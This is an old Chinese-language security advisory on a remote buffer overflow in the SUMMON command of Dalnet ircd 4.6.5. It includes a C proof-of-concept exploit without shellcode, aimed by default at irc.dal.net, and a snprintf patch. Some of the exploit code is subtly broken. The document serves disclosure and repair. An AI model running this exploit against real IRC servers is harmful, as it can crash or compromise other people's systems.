首页 -> 安全研究

安全研究

安全漏洞
Dalnet IRC Server 远程缓冲区溢出漏洞

发布日期:2000-07-03
更新日期:2000-07-03

受影响系统:

Dalnet ircd 4.6.5



描述:

Dalnet ircd中的summon命令存在一个安全漏洞,攻击者可能远程获取对IRC server的
访问权限。不过这个缓冲区溢出漏洞是很难被利用的,因为,shellcode代码必须分散到
几个变量中去,其中一个是主机名(这要求必须做DNS欺骗),然后需要在内存中重构
shellcode并在堆栈中执行。而且summon命令缺省情况下并不会被使用,除非编译时定义
了ENABLE_SUMMON。

<* 来源: Matt Conover & w00w00 Security Team
*>




测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*
* dalnet 4.6.5 remote exploit (without shellcode)
* Copyright (C) November 1999, Matt Conover & w00w00 Security Team
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define ERROR -1
#define BUFSIZE 512

#define IRCSERVER "irc.dal.net"
#define IRCPORT 6667

#define SUMMONEE "bob" /* just someone we assume will be on irc */

#define NICKLEN 30
#define USERLEN 10
#define INFOLEN 50
#define CHANLEN 32

/*
* Split shellcode between nickname, username, info, and channel, with the
* last 4 bytes in each buffer jmp'ing to the next.  The amount of
* shellcode you can fit will depend on how long your hostname is.  The
* buffer can be overflowed by up to 65 bytes (host+channel+info+nick+user
* is 185 bytes, while buffer being overflowed is only 120 bytes)
*/

char shellcode[] = ""; /* see comments above */

char nickname[NICKLEN+1], username[USERLEN+1];
char info[INFOLEN+1], channel[CHANLEN+1];

int sockfd;
char readbuf[BUFSIZE], writebuf[BUFSIZE];

struct sockaddr_in servsin;

void exploit();
void checkerrors();
void makeconn();

char *inet_ntoa(struct in_addr in);

int main(int argc, char **argv)
{
   struct hostent *hostent;

   hostent = gethostbyname(IRCSERVER);
   if (hostent == NULL)
   {
      fprintf(stderr, "gethostbyname(%s) error: %s\n", IRCSERVER,
              strerror(h_errno));

      exit(ERROR);
   }

   servsin.sin_family = AF_INET, servsin.sin_port = htons(IRCPORT);
   memset(&servsin.sin_zero, 0, sizeof(servsin.sin_zero));
   memcpy(&servsin.sin_addr, hostent->h_addr, hostent->h_length);

   /* setup nickname, username, and info */
   memset(nickname, 'A', NICKLEN), nickname[NICKLEN];
   memset(username, 'A', USERLEN), username[USERLEN];
   memset(info, 'A', INFOLEN), info[INFOLEN];

   sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
   makeconn();

   printf("Calling exploit()..\n");
   exploit(), close(sockfd);

   printf("Exploitation complete.\n");
   return 0;
}

/* connect and login to irc server */
void makeconn()
{
   printf("Connecting to %s (%s) [port %d]..",
          IRCSERVER, (char *)inet_ntoa(servsin.sin_addr), IRCPORT);

   fflush(stdout);

   if (connect(sockfd, (struct sockaddr *)&servsin,
               sizeof(servsin)) == ERROR)
   {
      fprintf(stderr, "\nerror connecting to %s: %s\n\n",
              IRCSERVER, strerror(errno));

      close(sockfd), exit(ERROR);
   }

   printf(" connected.\n");

   memset(readbuf, 0, BUFSIZE), memset(writebuf, 0, BUFSIZE);
   snprintf(writebuf, BUFSIZE-1, "NICK %s\n", nickname);

   printf("Sending NICK info..\n");
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   snprintf(writebuf, BUFSIZE-1, "USER %s none none :%s\n",
            username, info);

   printf("Sending USER info..\n");
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   printf("\nChecking for login errors..\n");
   sleep(5), checkerrors();
}

/* check for errors in login */
void checkerrors()
{
   char *ptr;
   int res = ERROR;

   while (res == BUFSIZE-1)
   {
      res = recv(sockfd, readbuf, BUFSIZE-1, 0);
      if (res == ERROR)
      {
         fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
         close(sockfd), exit(ERROR);
      }

      ptr = strstr(readbuf, ":ERROR");
      if (ptr != NULL)
      {
         fprintf(stderr, "error with irc server:\n%s\n", ptr);
         close(sockfd), exit(ERROR);
      }
   }
}

void exploit()
{
   printf("Successfuly logged in.\n\n");

   channel[0] = '#', memset(channel+1, 'A', CHANLEN-1),
   channel[CHANLEN] = '\0';

   snprintf(writebuf, BUFSIZE-1, "JOIN %s\n", channel);
   printf("Joining a channel..\n");

   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   sleep(3), checkerrors();

   snprintf(writebuf, BUFSIZE-1, "SUMMON %s %s\n", SUMMONEE, channel);
   printf("\nAttempting to summon %s (the final item)..\n", SUMMONEE);

   /* ircd ownage/crash will occur during this send() */
   if (send(sockfd, writebuf, strlen(writebuf), 0) == ERROR)
   {
      fprintf(stderr, "error with send(): %s\n\n", strerror(errno));
      close(sockfd), exit(ERROR);
   }

   /* should have stopped/crashed on server-side by now */
   sleep(3), checkerrors();

   printf("If it didn't work, "
          "the server wasn't compiled with ENABLE_SUMMON\n");
}



建议:

Matt Conover 为此提供了一个临时的补丁:

---------------------------------------------------------------------------
--- s_bsd.old.c Mon Nov  1 17:34:19 1999
+++ s_bsd.c     Mon Nov  1 17:35:39 1999
@@ -2327,7 +2327,7 @@
                sendto_one(who, wrerr, who->name);
                return;
            }
-       (void)sprintf(line, "ircd: Channel %s, by %s@%s (%s) %s\n\r",
+       (void)snprintf(line, sizeof(line), "ircd: Channel %s, by %s@%s (%s) %s\n\r",
                chname, who->user->username, who->user->host, who->name, who->info);
        if (write(fd, line, strlen(line)) != strlen(line))
            {

---------------------------------------------------------------------------


浏览次数:6143
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障